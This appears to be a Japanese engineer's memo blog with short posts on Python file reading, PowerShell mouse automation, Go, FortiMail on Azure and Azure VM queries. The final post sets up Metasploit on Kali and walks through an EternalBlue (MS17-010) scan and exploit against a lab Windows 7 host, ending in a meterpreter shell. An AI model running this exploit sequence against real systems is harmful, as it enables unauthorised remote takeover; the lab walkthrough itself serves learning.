たれながし.info

とあるITエンジニアの備忘録

Pythonでテキストファイルを1行ずつ処理する

Pythonでテキストファイルを読込んで1行ずつ処理する方法です。
ググってみたら色々な方法が見つかったけど、これが一番シンプルで使いやすかったのでメモする。

サンプルコード

text = open("sample.txt", "r")

for line in text:
    print (line.replace("\n", ""))

text.close()

説明

openでテキストファイルを読み込み専用で開き、forで1行ずつ処理します。
replaceで行末の改行を取り除きます。

openの引数「encoding」で文字コードの指定が可能です。
例)encoding="utf-8"
encodingの指定が無い場合はシステムのデフォルトの文字コードになります。
デフォルトの文字コードは下記で確認が可能です。

Python 3.9.0
Type "help", "copyright", "credits" or "license" for more information.
>>> import locale
>>> locale.getpreferredencoding(False)
'cp932'

<参考>
組み込み関数 — Python 3.9.1rc1 ドキュメント

PowerShellでマウス操作「任意の場所をクリック」

PowerShellでマウスカーソルを動かして、任意の場所をクリックする方法を紹介します。


はじめに

PowerShellでマウスを操作してクリックしたい!」と思い検索したところ、
「Stack Overflow(プログラミングに関する英語の掲示板)」で見つけることが出来たので実施してみます。

<参考>
stackoverflow.com

クリックする座標の確認

まず、クリックする地点の画面上の座標を確認する必要があります。

Windowsの座標系は、メインディスプレイの左上が原点(0, 0)、右がx軸、下がy軸の進行方向になります。
通常は座標は0以上の値となりますが、画面外やマルチディスプレイの場合はマイナスになることもあります。

座標はPowerShellを用いて確認可能です。

1. PowerShellスクリプトを実行し、3秒以内にクリックしたい場所にマウスカーソルを合わせる

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 

Start-Sleep -s 3

$X = [System.Windows.Forms.Cursor]::Position.X
$Y = [System.Windows.Forms.Cursor]::Position.Y

Write-Output "X: $X | Y: $Y"
Read-Host

2. 座標が取得できる(画像では、x=714, y=318)

座標をクリックする

次に取得した座標の場所をクリックするPowerShellスクリプトです。

1. PowerShellスクリプトを実行する

# 座標
$x = 1000
$y = 800

# .NET Frameworkの宣言
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") 
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 

# Windows APIの宣言
$signature=@'
[DllImport("user32.dll",CharSet=CharSet.Auto,CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'@
$SendMouseClick = Add-Type -memberDefinition $signature -name "Win32MouseEventNew" -namespace Win32Functions -passThru

Start-Sleep -s 1

# マウスカーソル移動
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)

# 左クリック
$SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);

動作解説

上記のPowerShellの動作を解説します。

まず、$x, $yにクリックする座標を指定します。
「# .NET Frameworkの宣言」「# Windows APIの宣言」の部分は、Windowsの機能を呼び出すために必要なものなので、取り合えず書いてください。

「[System.Windows.Forms.Cursor]::Position」に座標を代入することでマウスカーソルを移動します。
「$SendMouseClick::mouse_event」でマウスのクリックを実行します(イベントを発生させることでクリックしたことにする)。

左クリックは、Downイベントが0x0002、Upイベントが0x0004です。
右クリックは、Downイベントが0x0008、Upイベントが0x0010です。

Down/Upはセットで使います。
Downイベント→カーソル移動→Upイベントとすれば、ドラッグもできるはずです。

ダブルクリックはDown/Upを2回書きます。

$SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);

ホイールクリックなどのイベントも存在します。マイクロソフトの公式ドキュメントに説明があります。
mouse_event function (winuser.h) - Win32 apps | Microsoft Learn

関数化

カーソル移動とクリックの部分は関数化しても良いと思います。

PowerShellの関数は「関数名 $引数1 $引数2」という形で、引数をスペース区切りで渡します。
関数を呼び出す前に関数の定義が必要です。

function SingleClick_Right($x, $y){
    # マウスカーソル移動
    [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)

    # クリックイベント生成
    $SendMouseClick::mouse_event(0x0008, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0010, 0, 0, 0, 0);
}

function DoubleClick_Left ($x, $y){
    # マウスカーソル移動
    [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)

    # クリックイベント生成
    $SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);
}

# 関数呼び出し
SingleClick_Right $x $y
DoubleClick_Left $x $y

時間指定で実行

時間指定で実行したい場合はタスクスケジューラに登録してください。

コマンドで登録する場合

「schtasks」コマンドで登録します。

例)23:00に1度だけ、ps1ファイルを実行するタスク「MyTask」を作成する場合

> schtasks /create /tn "MyTask" /tr "powershell -ExecutionPolicy Bypass c:\Click-Position.ps1 " /sc once /st 23:00

> schtasks /query /tn "MyTask"

フォルダー\
タスク名                                 次回の実行時刻         状態
======================================== ====================== ===============
MyTask                                   2020/12/06 23:00:00    準備完了

<参考>
docs.microsoft.com

GUIで登録する場合

「タスクスケジューラ(taskschd.msc)」を起動して登録します。

<参考>
www.atmarkit.co.jp

Go言語でHello World

GoをインストールしてHello Worldしてみる。

はじめに

最近ネットや雑誌で「Go」についてよく聞くので、インストールしてHello Worldしてみました。
「Go」は並行処理に強いらしく(並列処理ではなく並行処理)、IoTのマルウェアで有名な「Mirai」のC2サーバもGoで書かれているらしい。Youtube/Gmailなど、GoogleのサービスもGoが使われているらしい。

Goのインストール

環境

  • Windows10 64bit
  • Go 1.15.5

インストール

公式サイトからGoをダウンロードしてインストールします。
Downloads - The Go Programming Language

>go version
go version go1.15.5 windows/amd64

Hello World

ソースコード

Hello World」を作成する。拡張子は「.go」にする

> type helloworld.go
package main
import("fmt")

func main(){
    fmt.Print("Hello World")
}

コンパイルと実行

> go build helloworld.go
> .\helloworld.exe
Hello World

AzureにFortiMail-VM構築したけど、ライセンスが無いと何もできなかった件

AzureマーケットプレイスにFortiMail-VMがあったので構築してみました。
しかし、ライセンス認証しないと何もできませんでした。

はじめに

AzureマーケットプレイスにFortiMail-VMがあったので構築してみました。

VMware版のFortiMail-VMだと、一部機能の制限はあるけど(たしか)30日間は試用できるのですが、AzureのFortiMail-VMは試用期間切れの状態でほとんど操作ができませんでした(CUIから設定しようと思えばできるかもしれないけど…)。ライセンス購入してライセンス認証しないと使えないみたいです。
あと、2020年12月時点のFortiMailの最新がv6.4.3なのに、AzureマーケットプレイスのFortiMail-VMはv5.3.3/v5.3.9とかなり古くFortinetも力を入れてなさそうです。

とは言え、構築してみたので構築手順と仮想マシンのリソースを自分用にメモします。

構築手順

Azureポータル/マーケットプレイス

Azureポータルのマーケットプレイスで「FortiMail」を検索し、作成をクリックする。
f:id:tarenagashi_info:20201206011107p:plain:h240

作成をクリックする。
f:id:tarenagashi_info:20201206011123p:plain:h240

基本

仮想マシンの情報を設定する
※v5.3.3/v5.3.9しか選択できない
f:id:tarenagashi_info:20201206011135p:plain:h240

仮想ネットワーク/仮想マシンインスタンス設定

f:id:tarenagashi_info:20201206011155p:plain:h240

パブリックIPアドレス

Static/Dynamicを選択できます。
f:id:tarenagashi_info:20201206011208p:plain:h240

検証

f:id:tarenagashi_info:20201206011338p:plain:h240

デプロイ完了

f:id:tarenagashi_info:20201206011905p:plain

リソース

作成されたリソースを眺めます。
ディスクとNSG以外は特記事項はありません。
f:id:tarenagashi_info:20201206011940p:plain

ディスク

ディスクは2つあります。

用途 ディスク構成 パフォーマンスレベル
OS用 1 GiB (Premium SSD) P1 - 120 IOPS、25 Mbps
データ用(メールスプール、ログ) 1023 GiB (Premium SSD) P30 - 5000 IOPS、200 Mbps

NSG

受信はSSH/SMTP/HTTPS+αが開いてます。
f:id:tarenagashi_info:20201206012632p:plain

動作確認

Web管理画面

https://[パブリックIP]/adminで接続します。
f:id:tarenagashi_info:20201128030010p:plain

システムステータス

ライセンス切れ状態でメニューがほとんど表示されていません。
f:id:tarenagashi_info:20201128030038p:plain

FortiMail # get system status
Version:            FortiMail-VM-Azure v5.3,build634,170228 (5.3.9 GA)
Architecture:       64-bit
Virus-DB:           1.00234(2012-09-20 09:57)
VM Registration:    Invalid: License has been detected as invalid, please upload a new license.
VM License File:    Allowed CPU/Memory has been exceeded.
VM Resources:       2 CPU/1 allowed, 3953 MB RAM/2048 MB allowed, 1022 GB Disk/1024 GB allowed
AntiSpam-DB:        1.00001(2007-05-09 17:15)
Serial-Number:      FEVM00UNLICENSED
BIOS version:       n/a
Log disk:           Capacity 204 GB, Used 32 MB ( 0.02%), Free 204 GB
Mailbox disk:       Capacity 816 GB, Used 250 MB ( 0.03%) , Free 816 GB
Hostname:           FortiMail
Operation mode:     Gateway
HA configured mode: Off
HA effective mode:  Off
FIPS-CC status:     disabled
Strong-crypto:      disabled
Distribution:       International
Branch point:       634
Uptime:             0 days  0 hours  20 minutes
Last reboot:        Fri Nov 27 08:05:08 PST 2020
System time:        Fri Nov 27 08:25:37 PST 2020

AVエンジン/シグネチャバージョン

f:id:tarenagashi_info:20201128030121p:plain

FortiMail # diag autoupdate versions
System Time:  2020-11-27 08:32:47 PST (Uptime: 0d 0h 27m)
AV Engine
---------
Version: 5.00234
Contract Expiry Date: n/a
Last Updated using manual update on Fri Apr  1 11:40:00 2016
Last Update Attempt: n/a
Result: Updates Installed

Virus Definitions
---------
Version: 1.00234
Contract Expiry Date: n/a
Last Updated using manual update on Thu Sep 20 10:57:00 2012
Last Update Attempt: n/a
Result: Updates Installed

Extended set
---------
Version: 1.00001
Contract Expiry Date: n/a
Last Updated using manual update on Mon Jan  1 00:00:00 2001
Last Update Attempt: n/a
Result: Updates Installed

AS Rule Set
---------
Version: 1.00001
Contract Expiry Date: n/a
Last Updated using manual update on Wed May  9 17:15:00 2007
Last Update Attempt: n/a
Result: Updates Installed
 heuristic init flag 1
antispam obj 0 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 1 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 2 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 3 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 4 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 5 version 4.00001(2011-11-29 02:22) cardinals 1
heuristic rule release date 1.1 2007-5-9(17:15)
heuristic rule version 2 decision tree version 21

FDS Address
---------

ハードウェア構成

CPU、メモリ、ディスクをコマンドで出力する。

CPU

FortiMail # diag hardware sysinfo cpu
System Time:  2020-11-27 08:43:14 PST (Uptime: 0d 0h 38m)
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 85
model name      : Intel(R) Xeon(R) Platinum 8168 CPU @ 2.70GHz
stepping        : 4
microcode       : 0xffffffff
cpu MHz         : 2693.635
cache size      : 33792 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 1
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 21
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f rdseed adx smap clflushopt avx512cd xsaveopt xsavec
bugs            :
bogomips        : 5387.27
clflush size    : 64
cache_alignment : 64
address sizes   : 46 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 85
model name      : Intel(R) Xeon(R) Platinum 8168 CPU @ 2.70GHz
stepping        : 4
microcode       : 0xffffffff
cpu MHz         : 2693.635
cache size      : 33792 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 1
apicid          : 1
initial apicid  : 1
fpu             : yes
fpu_exception   : yes
cpuid level     : 21
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f rdseed adx smap clflushopt avx512cd xsaveopt xsavec
bugs            :
bogomips        : 5387.27
clflush size    : 64
cache_alignment : 64
address sizes   : 46 bits physical, 48 bits virtual
power management:

メモリ

FortiMail # diag hardware sysinfo memory
System Time:  2020-11-27 08:44:51 PST (Uptime: 0d 0h 39m)
MemTotal:        4048764 kB
MemFree:         3220820 kB
MemAvailable:    3372900 kB
Buffers:           19512 kB
Cached:           454124 kB
SwapCached:            0 kB
Active:           469400 kB
Inactive:         248612 kB
Active(anon):     349556 kB
Inactive(anon):    94852 kB
Active(file):     119844 kB
Inactive(file):   153760 kB
Unevictable:           0 kB
Mlocked:               0 kB
SwapTotal:       2093052 kB
SwapFree:        2093052 kB
Dirty:                 8 kB
Writeback:             0 kB
AnonPages:        244364 kB
Mapped:            88844 kB
Shmem:            200044 kB
Slab:              30236 kB
SReclaimable:      12916 kB
SUnreclaim:        17320 kB
KernelStack:        3920 kB
PageTables:        25336 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:     4117432 kB
Committed_AS:    1793880 kB
VmallocTotal:   34359738367 kB
VmallocUsed:       35556 kB
VmallocChunk:   34359663339 kB
DirectMap4k:       12224 kB
DirectMap2M:     1036288 kB
DirectMap1G:     5242880 kB

ディスク

FortiMail # diag hardware sysinfo df
System Time:  2020-11-27 08:45:09 PST (Uptime: 0d 0h 40m)
Filesystem            Size  Used Avail Use% Mounted on
none                     0     0     0   -  /proc
none                     0     0     0   -  /sys
none                     0     0     0   -  /dev/pts
none                   10M  548K  9.5M   6% /dev/shm
none                  100M  2.2M   98M   3% /dev/cmdb
/dev/sda1             277M   85M  192M  31% /data
/dev/vga/vga2         205G   33M  205G   1% /var/log
/dev/vga/vga3         817G  250M  817G   1% /var/spool

Pythonでzipからパッケージをimportする方法

Pythonでzipファイルに圧縮したパッケージからimportする方法です。

はじめに

「パッケージ zip import」でググると、以前はすぐに見つかったのですが、最近はググっても全然見つからなくて困るので自分用にメモする。
ちなみに、私はパッケージ/モジュールの違いがよく分かってないです。

動作確認環境

  • Windows10 64bit
  • Python3.9

基本的にはOS関係なく動くが、パッケージにOSプラットフォームに依存するファイル(バイナリファイルなど)が含まれる場合、zipファイルを作った環境と実行する環境でOSプラットフォームが異なると動かなかったりする(らしい)。

実施

例として、zipから「beautifulsoup4」をインポートしてみる。

zipファイルの作成

・フォルダを作成
md library

・パッケージをインストール
pip3 install beautifulsoup4 -t library

・パッケージをzip化
powershell Compress-Archive -Path library\* -DestinationPath library.zip

・zipファイルの中身を確認
explorer library.zip

パッケージのimport

下記をソースコードの先頭に書くと「library.zip」内のパッケージをimportしてくれる。

# -*- coding: utf-8 -*-
import os, sys

basepath = os.path.split(os.path.realpath(__file__))[0]
sys.path.insert(0, os.path.join(basepath, 'library.zip'))

import requests
from bs4 import BeautifulSoup

Azure仮想マシンのプロパティをPowerShellとAzureCLIで確認する

Azure仮想マシンのプロパティをPowerShell/AzureCLIで確認してみます。

PowerShellの場合

インストール

モジュールのインストールが必要です。
PowerShell用のAzureモジュールは2種類あります。

  1. Azモジュール:新しいモジュール(2018/12リリース)
  2. AzureRMモジュール:旧モジュール

新しい方「Azモジュール」を使うのでインストールします。

Install-Module -Name Az -AllowClobber

VMの確認

「Connect-AzAccount」でAzureにログインし、「Get-AzVM」で仮想マシンを確認します。

<参考>
Get-AzVM (Az.Compute) | Microsoft Docs

> Connect-AzAccount
> Get-AzVM -ResourceGroupName [Resource-Group-Name] -Name [VM-Name]

「-ResourceGroupName 」や「-Name」で絞り混みができます。


実際に実行してみます。

> Get-AzVM -ResourceGroupName CENTOS -Name CentOS

ResourceGroupName  : CENTOS
Id                 : /subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/CENTOS/providers/Microsoft.Comp
ute/virtualMachines/CentOS
VmId               : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name               : CentOS
Type               : Microsoft.Compute/virtualMachines
Location           : japaneast
Tags               : {}
DiagnosticsProfile : {BootDiagnostics}
HardwareProfile    : {VmSize}
NetworkProfile     : {NetworkInterfaces}
OSProfile          : {ComputerName, AdminUsername, LinuxConfiguration, Secrets, AllowExtensionOperations, RequireGuestP
rovisionSignal}
Plan               : {Name, Publisher, Product}
ProvisioningState  : Succeeded
StorageProfile     : {ImageReference, OsDisk, DataDisks}
Zones              : {1}

Azure CLIの場合

インストール

Azure CLIを使用するには、インストールが必要です。
Install the Azure CLI | Microsoft Docs

VMの確認

「az login」でAzureにログインして、「az vm show」で仮想マシンを確認する。

「-o」でフォーマット変更可能。例)-o tsv ※デフォルトはjson形式
「--query」でプロパティの限定可能。例)--query vmId

> az login
> az vm show -g [Resource-Group-Name] -n [VM-Name]

実際に実行してみます。

 > az vm show -g fortigate_group -n fortigate
{
  "additionalCapabilities": null,
  "availabilitySet": null,
  "billingProfile": null,
  "diagnosticsProfile": {
    "bootDiagnostics": {
      "enabled": true,
      "storageUri": null
    }
  },
  "evictionPolicy": null,
  "extensionsTimeBudget": null,
  "hardwareProfile": {
    "vmSize": "Standard_B2s"
  },
  "host": null,
  "hostGroup": null,
  "id": "/subscriptions/xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/fortigate_group/providers/Microsoft.Compute/virtualMachines/fortigate",
  "identity": null,
  "instanceView": null,
  "licenseType": null,
  "location": "japaneast",
  "name": "fortigate",
  "networkProfile": {
    "networkInterfaces": [
      {
        "id": "/subscriptions/xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/fortigate_group/providers/Microsoft.Network/networkInterfaces/fortigate829",
        "primary": null,
        "resourceGroup": "fortigate_group"
      }
    ]
  },
  "osProfile": {
    "adminPassword": null,
    "adminUsername": "xxxxxxxx",
    "allowExtensionOperations": true,
    "computerName": "fortigate",
    "customData": null,
    "linuxConfiguration": {
      "disablePasswordAuthentication": false,
      "patchSettings": {
        "patchMode": "ImageDefault"
      },
      "provisionVmAgent": true,
      "ssh": null
    },
    "requireGuestProvisionSignal": true,
    "secrets": [],
    "windowsConfiguration": null
  },
  "plan": {
    "name": "fortinet_fg-vm_payg_20190624",
    "product": "fortinet_fortigate-vm_v5",
    "promotionCode": null,
    "publisher": "fortinet"
  },
  "priority": null,
  "provisioningState": "Succeeded",
  "proximityPlacementGroup": null,
  "resourceGroup": "fortigate_group",
  "resources": null,
  "securityProfile": null,
  "storageProfile": {
    "dataDisks": [],
    "imageReference": {
      "exactVersion": "6.4.3",
      "id": null,
      "offer": "fortinet_fortigate-vm_v5",
      "publisher": "fortinet",
      "sku": "fortinet_fg-vm_payg_20190624",
      "version": "latest"
    },
    "osDisk": {
      "caching": "ReadWrite",
      "createOption": "FromImage",
      "diffDiskSettings": null,
      "diskSizeGb": 2,
      "encryptionSettings": null,
      "image": null,
      "managedDisk": {
        "diskEncryptionSet": null,
        "id": "/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/fortigate_group/providers/Microsoft.Compute/disks/fortigate_OsDisk_1_b4e74c564dbe4b51886d170a1102bbdf",
        "resourceGroup": "fortigate_group",
        "storageAccountType": "Premium_LRS"
      },
      "name": "fortigate_OsDisk_1_b4e74c564dbe4b51886d170a1102bbdf",
      "osType": "Linux",
      "vhd": null,
      "writeAcceleratorEnabled": null
    }
  },
  "tags": null,
  "type": "Microsoft.Compute/virtualMachines",
  "virtualMachineScaleSet": null,
  "vmId": "b0e611ec-b692-448e-96c8-08452eb05904",
  "zones": [
    "1"
  ]
}

Metasploitフレームワーク初期設定@Kali Linux

Kali LinuxのMetasploitフレームワーク初期設定メモです。

公式ドキュメント

www.kali.org

環境

初期設定

CUIの場合

・PostGreSQLの起動
$ sudo systemctl start postgresql

・PostGreSQLの起動確認
$ sudo ss -atnp | grep 5432
LISTEN 0      244        127.0.0.1:5432      0.0.0.0:*     users:(("postgres",pid=1292,fd=6))
LISTEN 0      244            [::1]:5432         [::]:*     users:(("postgres",pid=1292,fd=5))

・初期設定の実施
$ sudo msfdb init

・Metasploitフレームワークの起動
$ msfconsole

・DBステータスの確認
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

GUIの場合

Menuから起動するとDB起動&初期設定されて起動する
f:id:tarenagashi_info:20201202210010p:plain

動作確認

EternalBlue(MS17-010/CVE-2017-0143)の脆弱性があるWindows7を攻撃してみる。

脆弱性の有無確認

$ nmap -p445 --script smb-vuln-ms17-010 192.168.0.5
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-03 04:38 JST
Nmap scan report for 192.168.0.5
Host is up (0.00016s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

Exploit実行

Exploitが成功するとMetasploitと攻撃対象がmeterpreter で繋がる。

$ msfconsole

msf6 > search ms17_010

msf6 > use exploit/windows/smb/ms17_010_eternalblue

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.0.5

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

meterpreter > pwd
C:\Windows\system32